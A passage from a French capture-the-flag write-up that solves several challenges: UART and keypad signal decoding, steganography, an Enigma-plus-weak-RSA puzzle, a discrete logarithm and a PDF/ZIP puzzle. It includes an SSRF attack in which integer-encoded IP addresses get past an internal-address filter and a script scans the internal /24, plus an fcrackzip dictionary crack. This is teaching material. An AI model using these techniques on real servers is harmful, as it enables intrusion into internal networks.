$ perl ./uart-study.pl < ascii_uart.raw | grep -v ' : 0' 120 : 55908 121 : 55991 122 : 55830 123 : 55507 124 : 55778 125 : 55554 126 : 55871 127 : 55676 128 : 37107 129 : 37033 130 : 37068 131 : 36942 132 : 37116 133 : 36900 134 : 36869 135 : 36981
A titre indicatif, la conversion entre octet signé et non signé est montrée par l’auxiliaire d’aide sign.c :
$ ./sign signed 118 -> unsigned 118 signed 119 -> unsigned 119 signed 120 -> unsigned 120 signed 121 -> unsigned 121 signed 122 -> unsigned 122 signed 123 -> unsigned 123 signed 124 -> unsigned 124 signed 125 -> unsigned 125 signed 126 -> unsigned 126 signed 127 -> unsigned 127 signed -128 -> unsigned 128 signed -127 -> unsigned 129 signed -126 -> unsigned 130 signed -125 -> unsigned 131 signed -124 -> unsigned 132 signed -123 -> unsigned 133 signed -122 -> unsigned 134 signed -121 -> unsigned 135 signed -120 -> unsigned 136 signed -119 -> unsigned 137
Comme les valeurs allant de 120 à 127 sont plus fréquentes, ces octets devraient représenter l’état de repos, et ainsi l’encodage d’un bit à 1
. Donc les octets de 128 à 135 devraient encoder un bit à 0
.
L’étape suivante est de retrouver les fronts montants.
En étudiant le flux binaire, la distance d’échantillonnage entre fronts montants semble être 638 ou un multiple de 638. Comme un octet d’origine est transmis avec 1 + 8 + 1 + 1 = 11 bits, le message d’origine peut être retrouvé grâce au script Perl uart.pl, qui lit le flux et accumule les octets d’origine :
$ perl ./uart.pl < ascii_uart.raw [...] #742123: value=123 level=1 duration=032263 bit_count=0.000000 #742124: value=124 level=1 duration=032264 bit_count=0.000000 #742125: value=123 level=1 duration=032265 bit_count=0.000000 #742126: value=123 level=1 duration=032266 bit_count=0.000000 #742127: value=123 level=1 duration=032267 bit_count=0.000000 #742128: value=123 level=1 duration=032268 bit_count=0.000000 #742129: value=122 level=1 duration=032269 bit_count=0.000000 #742130: value=123 level=1 duration=032270 front bit_count=50.579937 byte limit 0 10111110 0 1 /}/ /DGSESIEE{ d[-_-]b \_(''/)_/ (^_-) @}-;--- (*^_^*) \o/ }/
Note : en manipulant le flux, les pertes de synchronisation sont corrigées en détectant les séquences trop longues sans bit de start
. Les trames avec une erreur de parity
sont écartées.
Les détails opérationnels de la mission sont :
Un de nos agents ne répond plus depuis quelques jours, nous avons reçu un mail avec une photo d'archives de Brigitte Friang. Cela ne peut pas être une coïncidence. Il a certainement cherché à cacher des informations dans l'image. Nous devons le secourir au plus vite, il est certainement en danger et sur écoute. Le flag est juste une chaîne de caractères brigitte.png (SHA256=31b88d96ff54ef15e6c995aac5a1759068ac8ba43d3cbdf561c7ea44ab42d735) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/brigitte.png
Le script Python mask.py extrait toutes les couleurs RGB à partir de l’image brigitte.png, bits par bits, et produit de nouveaux fichiers PNG pour chacun d’eux.
$ python3 ./mask.py [i] Processing bit 0 [i] Processing bit 1 [i] Processing bit 2 [i] Processing bit 3 [i] Processing bit 4 [i] Processing bit 5 [i] Processing bit 6 [i] Processing bit 7
En observant les couches RGB de l’image, une tuile apparaît distinctement pour la couleur rouge :
Pixels avec le plus faible bit de couleur rouge défini |
Pixels avec le plus faible bit de couleur verte défini |
Pixels avec le plus faible bit de couleur bleue défini |
Des données semblent encodées dans cette petite tuile de 20×20, localisée à (500, 200) :
|
|
Le script Python tile.py a été développé pour analyser les pixels :
Quelques faits peuvent être observés :
Le script Python peut être raffiné pour montrer la valeur décimale encodée pour chaque pixel rouge :
Cette sorte de représentation rappelle une table de transition d’automate.
Ainsi, la méthode pour lire les données est :
Si 1 est la première lettre de l’alphabet, le contenu peut être décodé avec ce code Python :
''.join([ chr(0x40 + x) for x in [1, 18, 2, 18, 5, 4, 5, 16, 15, 9, 4, 19, 13, 9, 14, 9, 13, 21, 13] ]) 'ARBREDEPOIDSMINIMUM'
La description pour ce challenge est ce texte :
EvilGouv a récemment ouvert un service de chat-bot, vous savez ces trucs que personne n'aime. Bon en plus d'être particulièrement nul, il doit forcément y avoir une faille. Trouvez un moyen d'accéder à l'intranet ! Lien : https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4 Indice : Réseau local Le flag est de la forme : DGSESIEE{x} avec x un hash
Ce challenge demande d’accéder au flag qui se trouve sur un réseau intranet de la cible. Le point d’entrée est l’application Chatbot qui tourne en Javascript du côté navigateur.
Le Chatbot étant élaboré en Javascript, la première étape est de plonger dans son code pour découvrir comment il fonctionne.
En regardant le Javascript, on peut trouver quelles requêtes sont faites sur le backend.
function askBot(message) { var url = window.location.href + "bot?message=" + message; fetch(url) .then(function (res) { res.json().then(function(data){ var message = urlify(data.message) var urls = data.message.match(urlRegex); if (urls && urls.length > 0) { var url = window.location.href + "proxy?url=" + urls[0]; fetch(url) .then(function (res) { console.log(res); res.json() .then(function (data) { if(data.err){ addMessageContact(message,null); } else{ addMessageContact(message,data); } }).catch(function (err) { addMessageContact(message,null); }); }); } else { addMessageContact(message,null); } }); }); }
On peut voir que le Chatbot reçoit normalement sa réponse en utilisant le point de connexion suivant :
GET bot?message=message
Mais un autre point de connexion est également utilisé lorsque le message contient une URL :
GET proxy?url=url
La réponse reçue après consultation de ce endpoint laisse à penser que le serveur backend va récupérer le contenu du champ « url » spécifié :
$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://doihaveinternet.com/ {"contents":"<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"utf-8\">\n <title>Do I Have Internet</title>\n <style>\n body{\n font-family: sans-serif;\n background-color: #000;\n color:white;\n display:flex;\n align-items: center;\n justify-content: center;\n height:100vh;\n padding:0;\n }\n\n #statusBox{\n flex: auto;\n width:75%;\n text-align: center;\n font-size: 5rem;\n }\n\n h2{\n font-size:2rem;\n font-weight:100;\n }\n\n a{\n color:white;\n background-color: black;\n text-decoration: none;\n }\n\n a:hover{\n color:black;\n background-color: white;\n }\n </style>\n </head>\n <body>\n <div id=\"statusBox\">\n <h1 id=\"status\"/>\n <h2>This incredibly useful service brought to you by <a href=\"http://shaungreiner.com\">Shaun Greiner</a>.</h2>\n </div>\n <script type=\"text/javascript\">\n function updateStatus(){\n var status;\n status = navigator.onLine ? \"Yes.\" : \"No. :(\";\n document.getElementById(\"status\").innerHTML=status;\n }\n updateStatus();\n setInterval(updateStatus,1000);\n </script>\n <script>\n (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){\n (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),\n m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)\n })(window,document,'script','//www.google-analytics.com/analytics.js','ga');\n ga('create', 'UA-12905503-1', 'auto');\n ga('send', 'pageview');\n </script>\n </body>\n</html>\n","title":"Do I Have Internet","icon":"Null"}
On peut voir que le endpoint retourne le contenu HTML de l’url
spécifiée. A partir de là, on peut deviner qu’il est possible de requêter le réseau local du serveur backend.
On essaie tout d’abord d’accéder à une adresse locale classique : 192.168.0.1.
$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://192.168.0.1/ Forbidden
La réponse indique que nous ne disposons pas de l’autorisation nécessaire pour accéder à la ressource, ce qui veut dire qu’une requête a bien été faite sur le réseau local ou qu’une telle requête a été bloquée de façon logique.
L’étape suivant est d’essayer de contourner le blocage logique s’il existe. Une intuition réside dans le fait qu’une expression régulière est utilisée pour filtrer les requêtes réalisées sur le réseau local.
Pour la contourner, on décider de se baser sur la représentation en entier d’une adresse IP pour envoyer la requête :
ip = (192 << 24) + (168 << 16) + 1 print(ip) 3232235521
$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://3232235521/ Not Found
On constate que l’accès n’est désormais plus restreint mais que l’IP utilisée ne conduit pas à un résultat positif.
Un bruteforce pourrait être utilisé sur toutes les adresses IP de la plage pour déterminer une adresse avec un résultat différent.
Mais avant d’exécuter ce bruteforce sur une plage IP /16 entière, on tente de limiter cette plage. Après quelques tests, on peut établir que seule la plage 192.168.0.0/24 constitue le réseau interne, car les requêtes sur les autres sous-réseaux renvoient une erreur 504 Gateway Time-out :
ip = (192 << 24) + (168 << 16) + (1 << 8) + 1 >>>print(ip) 3232235846
$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://3232235846/ <html> <head><title>504 Gateway Time-out</title></head> <body> <center><h1>504 Gateway Time-out</h1></center> <hr><center>nginx/1.15.12</center> </body> </html>
Une plage /24 contenant seulement 254 IP, on se lance dans un bruteforce :
from requests import get from time import time for i in range(254): ip = (192 << 24) + (168 << 16) + i start = time() r = get("https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://" + str(ip) + "/") end = time() print(i, end - start, r.status_code, r.text)
Ce script Python permet de trouver le flag localisé à la représentation de l’adresse IP 192.168.0.70:
$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://3232235590/ {"contents":"<!DOCTYPE html>\n<html>\n\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n <link href=\"/35e334a1ef338faf064da9eb5f861d3c/fontawesome/css/all.min.css\" rel=\"stylesheet\">\n <link href=\"/35e334a1ef338faf064da9eb5f861d3c/bootstrap/css/bootstrap.min.css\" rel=\"stylesheet\">\n <link href=\"/35e334a1ef338faf064da9eb5f861d3c/css/style_index.css\" rel=\"stylesheet\">\n <link rel=\"icon\" href=\"/35e334a1ef338faf064da9eb5f861d3c/img/favicon.ico\" />\n <title>Evil Gouv intranet</title>\n</head>\n\n<body>\n <div>\n <h1>FLAG DGSESIEE{2cf1655ac88a52d3fe96cb60c371a838}</h1>\n</div>\n</body>\n<script src=\"/35e334a1ef338faf064da9eb5f861d3c/js/jquery-3.5.1.min.js\"></script>\n<script src=\"/35e334a1ef338faf064da9eb5f861d3c/js/popper.min.js\"></script>\n<script src=\"/35e334a1ef338faf064da9eb5f861d3c/js/bootstrap.min.js\"></script>\n\n</html>","title":"Evil Gouv intranet","icon":"Null"}
La description de ce challenge est la suivante :
Un de vos collègues a créé un petite énigme, il est un peu lourd et vous demande depuis des semaines de la résoudre, faites lui plaisir. Voici l'énigme : Quelle heure est-t-il ? Connectez-vous via nc challengecybersec.fr 6660 Le flag est de la forme : DGSESIEE{x} avec x un hash
Le temps Unix est le nombre de secondes qui se sont écoulées depuis l’époque Unix ; l’époque Unix est le 1er janvier 1970 à 00:00:00 UTC.
La page de manuel pour la commande date
indique que le format %s
fournit un tel nombre. La quantité de secondes peut être envoyée au serveur avec cette série de commandes :
$ date +%s | nc challengecybersec.fr 6660 Entrez la reponse : > Bravo ! Voici le flag : DGSESIEE{cb3b3481e492ccc4db7374274d23c659}
La toile de fond pour la mission est :
Evil Country a développé et implémenté sur FPGA son propre algorithme de chiffrement par blocs de 45 bits avec une clé de 64 bits. cipher.txt est un message chiffré avec la clé key=0x4447534553494545. Un agent a réussi à récupérer - le code VHDL de l'algorithme (evil_cipher.vhd) - la fin du package VHDL utilisé (extrait_galois_field.vhd) - le schéma de la fonction permutation15 (permutation15.jpg) - le schéma du composant key_expansion (key_expansion.jpg) Un exemple de texte chiffré se trouve dans le fichier evil_example.txt (dans l'archive zip) Déchiffrez le message. Le flag est de la forme DGSESIEE{x} avec x un hash evil_cipher.zip (SHA256=0b8ade55e61e2e0188cea2a3c004287ca16b9b1ee2951fa4ffe1b27963544434) : https://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/evil_cipher.zip
Le fichier ZIP contient :
A partir de l’échantillon, les données semblent traduites octet par octet avant d’être chiffrées. Par exemple :
01000100 01000111 01010011 01000101 01010011 01001001 01000101 01000101 01111011 44 = D 47 = G 53 = S 45 = E 53 = S 49 = I 45 = E 45 = E 7b = {
Quelques ressources en ligne aident à comprendre le VHDL au besoin :
L’élément clef est que les variables et les signaux sont différents : l’assignation d’une nouvelle valeur est effective immédiatement pour une variable, mais est prise en compte uniquement à la fin d’un processus pour les signaux.
Traduire le processus de permutation en code Python est relativement aisé :
Traduire l’expansion de clef requiert un peu d’aide de la part de GIMP, mais ne se révèle pas si compliqué :
Si le signal load
est actif, la clef est chargée et conservée dans reg
. Sinon, la nouvelle valeur de reg
est calculée à partir de l’état précédent, avec trois opérations XOR pour définir les bits 9, 34 et 61.
rkey
est construite avec les 45 bits de poids faible de reg
.
Le reste du VHDL est plutôt lisible.
Une fois que la procédure de chiffrement est reproduite et validée avec l’échantillon fourni, on peut observer que la seconde ligne du contenu final à déchiffrer débute par DGSESIEE
dans sa forme chiffrée.
Comme inverser le chiffrement dans son ensemble est délicat du fait des multiples opérations XOR à l’intérieur de la ronde, un bruteforce sur le jeu de caractères [a-f0-9] a été choisi pour résoudre le problème :
In bruteforce we trust!
Avec le script Python evil-vhdl-boost.py, le drapeau peut ainsi être retrouvé, bloc de 45 bits par bloc de 45 bits.
Un module Python a aussi été développé pour accélérer la vitesse de cryptanalyse. Il peut être compilé et utilisé en exécutant :
$ export PYTHONPATH=$PWD/evilnative $ make -C evilnative
La mission est introduite par le texte suivant :
Le code d'accès d'un centre militaire de télécommunications est saisi sur un clavier. Un agent a accédé au matériel (Cf. photos face avant et face arrière du clavier) et a inséré un dispositif pour enregister les données binaires qui transitent sur le connecteur du clavier. Le fichier joint (keypad_sniffer.txt) comprend les données binaires (échantillonnées à une fréquence de 15 kHz) au moment où une personne autorisée rentrait le code d'accès. Retrouvez le code d'accès. Le flag est de la forme DGSESIEE{X} où X est le code saisi keypad_sniffer.txt (SHA256=f5660a0b1c8877b67d7e5ce85087138cbd0c061b0b244afc516c489b39a7f79d) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/keypad_sniffer.txt keypad_face.jpg (SHA256=b39c0d732f645fc73f41f0955233bec3593008334a8796d2f1208346f927fef2) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/keypad_face.jpg keypad_back.jpg (SHA256=1f5d41c3521d04494779e43a4d5fae7cb14aad44e6e99cf36642ff4e88fab69f) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/keypad_back.jpg
Google avec sa fonctionnalité de recherche inversée d’images suggère « digicode arduino » comme objet de recherche. Cela conduit à une page Wiki expliquant comment composer avec des claviers :
Pour détecter un appui de touche, toutes les colonnes sont scannées, une par une ; si une ligne a le même état qu’une colonne scannée, cela signifie qu’il y a une connexion et que la touche correspondante est pressée !
La première étape est de retrouver les liens entre le clavier et l’unité de traitement :
Un peu d’analyse est nécessaire pour récupérer l’ordre de bits :
$ < keypad_sniffer.txt sed 's/^\(.\).*$/\1/' | sort | uniq 1 $ < keypad_sniffer.txt sed 's/^.*\(.\)$/\1/' | sort | uniq 0 1
Comme le premier chiffre est toujours constant et que le dernier ne l’est pas, le douzième lien sur le circuit imprimé est associé à ce premier nombre et les bits doivent être lus de droite (lien 1) à gauche (lien 12).
Des tests supplémentaires montrent que les pins 12-6 et 11-5 sont effectivement connectées :
$ < keypad_sniffer.txt sed 's/^\(.\).....\(.\).....$/\1-\2/' | sort | uniq 1-1 $ < keypad_sniffer.txt sed 's/^.\(.\).....\(.\)....$/\1-\2/' | sort | uniq 0-0
En observant les premières entrées, un motif devient visible sur la droite :
$ < keypad_sniffer.txt uniq | head -10 101111100111 # 0111 101111101011 # 1011 101111101101 # 1101 101111101110 # 1110 101111100111 # 0111 101111101011 # 1011 101111101101 # 1101 101111101110 # 1110 101111100111 # 0111 101111101011 # 1011
Il y a une itération sur les bits 1-4, où les bits sont mis à l’état bas, un à la fois.
Ceci pourrait être un scan de colonnes. Les bits 7-10 sont à l’état haut, ce qui signifie qu’aucun ne partage le même état que la colonne scannée. Donc aucune touche n’est appuyée.
En analysant les données, un soin doit être observé car la fréquence d’échantillonnage peut ne pas correspondre à la fréquence de l’unité de traitement :
Le script Python keypad-code.py parcourt in fine les événements du matériel :
$ python3 ./keypad-code.py [*] States for #0: 0, 1 [*] States for #1: 0, 1 [*] States for #2: 0, 1 [*] States for #3: 0, 1 [*] States for #4: 0 [*] States for #5: 1 [*] States for #6: 0, 1 [*] States for #7: 0, 1 [*] States for #8: 0, 1 [*] States for #9: 0, 1 [*] States for #10: 0 [*] States for #11: 1 [i] All ground links are consistent. [i] Link 5-11: always 0 [i] Link 6-12: always 1 [i] Filtered 615535 samples [!] Missed samples for column 0 @ 23324: "1110 1111 " [!] Missed samples for column 1 @ 23324: "1110 1111 " [!] Missed samples for column 2 @ 23324: "1110 1111 " [!] Missed samples for column 0 @ 31129: "1110 1110 " [!] Missed samples for column 1 @ 31129: "1110 1110 " [!] Missed samples for column 2 @ 31129: "1110 1110 " [!] Missed samples for column 1 @ 71187: "0111 1111 " [!] Missed samples for column 2 @ 71187: "0111 1111 " [!] Missed samples for column 3 @ 71187: "0111 1111 " [i] Added 9 new samples [i] Skipped 93456 samples with or without key pressed [i] Retrieved code: AE78F55C666B23011924 [>] Flag is DGSESIEE{AE78F55C666B23011924}
Les instructions pour la mission sont :
Une livraison de souffre doit avoir lieu 47°N 34 2°W 1 39. Elle sera effectuée par un certain REJEWSKI. Il a reçu des instructions sur un foulard pour signaler à Evil Gouv son arrivée imminente. Nous avons une photo du foulard, mais celle-ci n'est pas très nette et nous n'avons pas pu lire toutes les informations. Le fichier foulard.txt, est la retranscription du foulard. Nous avons un peu avancé sur les parties illisibles : (texte illisible 1) est deux lettres un espace deux lettres. Il pourrait y avoir un lien avec le dernier code d'accès que vous avez envoyé à Antoine Rossignol. (texte illisible 2) a été totalement effacé et enfin (texte illisible 3) semble être deux lettres. REJEWSKI vient d'envoyer un message (final.txt). Il faut que vous arriviez à le déchiffrer. Je vous conseille d'utiliser openssl pour RSA. Le flag est de la forme DGSESIEE{MESSAGE} où MESSAGE correspond à la partie centrale du texte en majuscules sans espace. final.txt (SHA256=1e93526cd819aedb8496430a800a610068e95762536b0366ca7c303a74eaab03) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/final.txt foulard.txt (SHA256=9c8b0caf9d72fa68ddb6b4a68e860ee594683f7fe4a01a821914539ef81a1f21) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/foulard.txt
L’objectif est de retrouver un fichier d’abord chiffré avec une machine Enigma M3 puis avec RSA.
Le modulo et l’exposant public sont donnés dans le fichier foulard.txt
.
Modulus (décimal): 25195908475657893494027183240048398571429282126204032027777137836043662020707595556264018525880784406918290641249515082189298559149176184502808489120072844992687392807287776735971418347270261896375014971824691165077613379859095700097330459748808428401797429100642458691817195118746121515172654632282216870038352484922422622979684865170307405907272815653581732377164114195025335694039872221524699156538352092782201392513118326772302632498764753996118057437198905106508696675497143847180616766425109043955104189270381382844602871223783458512671511503420521749067165952916834014926827585314522687939452292676577212513301 PublicExponent (décimal) : 65537
Pour rappel :
n
est le produit de deux nombres premiers p
et q
tel que n = pq
et forme avec l’exposant la clé publique (n, e)
;n
(ie. retrouver p
et q
), et ainsi de déchiffrer les messages créés avec la clé publique associée.Une analyse rapide permet de déterminer qu’il s’agit d’une clé de 2048 bits donc difficile à casser :
from math import log >>> log(N) / log(2) 2047.6408959263592
Il est cependant possible de factoriser un nombre premier si les entiers p
et q
ont été mal choisis. On tente une factorisation avec un outil en ligne, Integer factorization calculator, trouvé par recherche Google :
25195 908475 657893 494027 183240 048398 571429 282126 204032 027777 137836 043662 020707 595556 264018 525880 784406 918290 641249 515082 189298 559149 176184 502808 489120 072844 992687 392807 287776 735971 418347 270261 896375 014971 824691 165077 613379 859095 700097 330459 748808 428401 797429 100642 458691 817195 118746 121515 172654 632282 216870 038352 484922 422622 979684 865170 307405 907272 815653 581732 377164 114195 025335 694039 872221 524699 156538 352092 782201 392513 118326 772302 632498 764753 996118 057437 198905 106508 696675 497143 847180 616766 425109 043955 104189 270381 382844 602871 223783 458512 671511 503420 521749 067165 952916 834014 926827 585314 522687 939452 292676 577212 513301 (617 digits) = 158 732191 050391 204174 482508 661063 007579 358463 444809 715795 726627 753579 970080 749948 404278 643259 568101 132671 402056 190021 464753 419480 472816 840646 168575 222628 922072 509317 288610 921313 165983 511118 710663 006195 067967 359930 650798 771955 898733 591259 847660 546621 410836 961591 033768 576235 120772 719980 885978 288100 259351 535587 (309 digits) × 158 732191 050391 204174 482508 661063 007579 358463 444809 715795 726627 753579 970080 749948 404278 643259 568101 132671 402056 190021 464753 419480 472816 840646 168575 222628 947270 302161 138343 957754 574996 070959 235670 661942 404500 680792 678841 762019 555105 315453 800615 468142 560756 025651 432301 649463 625322 248315 792212 286183 936318 080423 (309 digits)
D’où :
p = 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628922072509317288610921313165983511118710663006195067967359930650798771955898733591259847660546621410836961591033768576235120772719980885978288100259351535587 q = 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628947270302161138343957754574996070959235670661942404500680792678841762019555105315453800615468142560756025651432301649463625322248315792212286183936318080423
La clé privée peut être retrouvée avec l’outil rsatool.py
disponible sur Github :
$ git clone https://github.com/ius/rsatool $ sudo apt install gmp-dev $ pip install gmpy $ cd rsatool $ python rsatool.py -f PEM -o priv.key -p 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628922072509317288610921313165983511118710663006195067967359930650798771955898733591259847660546621410836961591033768576235120772719980885978288100259351535587 -q 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628947270302161138343957754574996070959235670661942404500680792678841762019555105315453800615468142560756025651432301649463625322248315792212286183936318080423
Il ne reste plus qu’à déchiffrer le message :
$ openssl rsautl -decrypt -inkey priv.key -in final.txt -out final.txt.dec $ cat final.txt.dec IVQDQT NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD
Le protocole employé par les nazis était le suivant :
Sélection des paramètres de la machine selon une « table de codes » indiquant, pour chaque jour du mois, les rotors utilisés, la position initiale, la position des anneaux, la configuration du « plug board » et le Kenngruppen. Le Kenngruppen étant un identifiant unique, pseudo-aléatoire, permettant au récepteur du message de retrouver la ligne du tableau correspondant au message chiffré et ainsi de dater l’envoi du message et les paramètres de la machine.
Chiffrement d’une clé de message, équivalente à une clé de session, qui correspond à la position des rotors initiale pour le reste du message. La clé doit donc nécessairement être constituée de trois lettres, la machine M3 ne pouvant utiliser que trois rotors à la fois. Selon une source disponible sur Internet, Rejewski aurait analysé les textes chiffrés en sachant qu’il y avait correspondance entre la première lettre et la quatrième, entre la seconde et la cinquième et entre la troisième et la sixième. La clé secrète serait donc dupliquée une fois dans le chiffré résultant.
Reconfiguration de la machine : utilisation de la clé de message comme nouvelle position initiale des rotors.
Chiffrement du message.
Envoi de la séquence Kenngruppen (en clair) + clé de message chiffrée + message chiffré.
Le Kenngruppen ne nous intéresse pas ici puisqu’il s’agit d’une séquence de lettres forcément associée à une « table de codes » qui n’est pas fournie. Le texte IVQDQT NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD
correspondrait donc probablement à la clé de message chiffrée dupliquée une fois, suivie du message chiffré, suivi du nom du destinataire également chiffré.
D’après le document foulard.txt
, la machine serait configurée de la façon suivante :
On tente avec la configuration (I III V, MER, REJ, BA EZ) :
Le texte déchiffré démarre bien par une séquence de trois caractères, dupliquée une fois : ZFGZFG
.
En testant les possibilités du plugboard, on obtient les séquences suivantes :
BA EZ => zfgzf gcmfq jlfjd tmorq gnfba qmucz qyrys noour BE AZ => bfgbf gcmve jlfjg tmorq gnfzn qmucp qyrys noour BZ AE => afgaf gcmcx jlfjv tmorq gnfeg qmucz qyrys noour
Il est possible que les textes illisibles 2 et 3 correspondent à une indication de la clé de message, qui débuterait donc par la lettre B
– donc la configuration du plugboard (BE AZ).
On note cependant qu’il n’y aurait aucune raison dans une situation réelle de préciser la clé de message, puisqu’il suffirait au destinataire de simplement déchiffrer les trois premières lettres pour obtenir cette clé. Il s’agit donc soit d’un indice spécifiquement fait pour ce challenge, soit d’une information qui n’a rien à voir avec cette clé de message et qui n’était finalement pas très utile pour le compléter.
Après avoir reconfiguré la machine avec la nouvelle position des rotors BFG
et supprimé les six premières lettres du message chiffré, on obtient :
NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD => lessa nglot slong sdesv iolon swjvd loit
Le flag correspond à la partie du texte « au milieu » dans le chiffré original NHABMPSVBYYUCJIYMJBRDWXAXP
: LESSANGLOTSLONGSDESVIOLONS.
Les 8 derniers caractères correspondraient selon l’énoncé au nom de l’émetteur REJEWSKI
. On l’obtient en réinitialisant la position des rotors avec la clé de message BFG
:
THYVCROD => rejew ski
La situation courante est :
Stockos a encore choisi un code d'accès qui est solution d'une énigme mathématique ! Retrouvez x tel que : 17^x ≡ 183512102249711162422426526694763570228 [207419578609033051199924683129295125643] Le flag est de la forme : DGSESIEE{x} avec x la solution
Ceci est un problème typique de logarithme discret.
Même si des mathématiques compliquées se retrouvent associées au domaine, des outils comme sage
ou Magma
contiennent tout le nécessaire pour déterminer le résultat attendu.
Le calculateur Magma en ligne a été employé, et le simple fait de rentrer les valeurs a produit le résultat :
p := 207419578609033051199924683129295125643; K := GF(p); n := K ! 183512102249711162422426526694763570228; y := K ! 17; x := Log(y, n); x;
Et la solution est : 697873717765.
Le contexte opérationnel pour ce challenge est :
Nous avons intercepté un fichier top secret émanant d'Evil Country, il est très certainement en rapport avec leur programme nucléaire. Personne n'arrive à lire son contenu. Pouvez-vous le faire pour nous ? Une archive était dans le même dossier, elle peut vous servir Le flag est de la forme : DGSESIEE{x} avec x un hash que vous trouverez message.pdf (SHA256=e5aa5c189d3f3397965238fbef5bc02c889de6d5eac713630e87377a5683967c) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/message.pdf secrets.zip (SHA256=ae5877bb06ac9af5ad92c8cd40cd15785cbc7377c629ed8ec7443f251eeca91f) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/secrets.zip
Deux fichiers sont fournis :
Puisqu’il n’y a pas d’information utile de prime abord, une approche différente a été tentée. Avec l’outil de Dider Stevens appelé pdf-parser, le fichier est parcouru pour afficher les objets contenus :
<html> <!DOCTYPE html> <html> <head> <title>Flag</title> <meta charset="utf-8"> </head> <body> <script> var flag = [91, 48, 93, 97, 97, 57, 51, 56, 97, 49, 54]; </script> <!----!> <script>for(i=0;i<flag.length;i++){flag[i] = flag[i]+4} alert(String.fromCharCode.apply(String, flag));</script> <body> </html>
Il y a là du Javascript qui fait afficher un fenêtre popup avec « _4aee=7<e5: » écrit dedans.
7 0 obj << /Length 50 >> stream BT /F1 50 Tf 10 400 Td 0 0 0 rg <5b 31 5d 34 64 38 36 32 64 35 61> Tj ET endstream endobj 8 0 obj << /Length 50 >> stream BT /F1 70 Tf 150 700 Td 255 255 255 rg (Top Secret) Tj ET endstream endobj 9 0 obj << /Length 50 /MediaBox [0 0 20 20] >> stream BT /F1 9 Tf 30 600 Td 1 0 0 700 0 0 Tm 0 0 0 rg <43 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 6e 63 65 72 6e 65 20 6c 20 6f 70 65 72 61 74 69 6f 6e 20 73 6f 6c 65 69 6c 20 61 74 6f 6d 69 71 75 65 2e 0a 43 65 74 74 65 20 6f 70 65 72 61 74 69 6f 6e 20 65 73 74 20 73 74 72 69 63 74 65 6d 65 6e 74 20 63 6f 6e 66 69 64 65 6e 74 69 65 6c 6c 65 20 65 74 20 6e 65 20 64 6f 69 74 20 65 6e 20 61 75 63 75 6e 20 63 61 73 20 ea 74 72 65 20 64 65 76 6f 69 6c 65 65 2e 20 0a 4c 65 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 73 20 73 75 72 20 6c 20 6f 70 65 72 61 74 69 6f 6e 20 73 6f 6e 74 20 64 69 73 73 65 6d 69 6e e9 65 73 20 64 61 6e 73 20 63 65 20 66 69 63 68 69 65 72 2e 0a 43 68 61 71 75 65 20 70 61 72 74 69 65 20 64 65 20 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 65 73 74 20 69 64 65 6e 74 69 66 69 65 65 20 70 61 72 20 75 6e 20 6e 6f 6d 62 72 65 20 70 61 72 20 65 78 20 3a 20 0a 5b 30 5d 61 65 37 62 63 61 38 65 20 63 6f 72 72 65 73 70 6f 6e 64 20 61 20 6c 61 20 70 72 65 6d 69 e8 72 65 20 70 61 72 74 69 65 20 64 65 20 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 71 75 20 69 6c 20 66 61 75 74 20 63 6f 6e 63 61 74 65 6e 65 72 20 61 75 20 72 65 73 74 65 2e> Tj ET endstream endobj 11 0 obj << /Length 50 >> stream BT /F1 70 Tf 150 700 Td 255 255 255 rg (Top Secret) Tj ET endstream endobj
On décode les octets contenus entre « < » and « > » pour chaque objet :
Selon ce qui est écrit dans la dernière portion, le « [1]… » représente quelque chose à conserver pour plus tard.
Avec un cracker de ZIP nommé fcrackzip, on retrouve le mot de passe de l’archive :
$ fcrackzip -D -p ./crackstation-human-only.txt -v -u secrets.zip found file 'hint.png', (size cp/uc 137659/137622, flags 9, chk 76d4) found file 'info.txt', (size cp/uc 109/ 107, flags 9, chk 9748) checking pw fate3147 PASSWORD FOUND!!!!: pw == finenuke
Avec ce mot de passe pour décompresser secrets.zip, on obtient à nouveau deux fichiers :
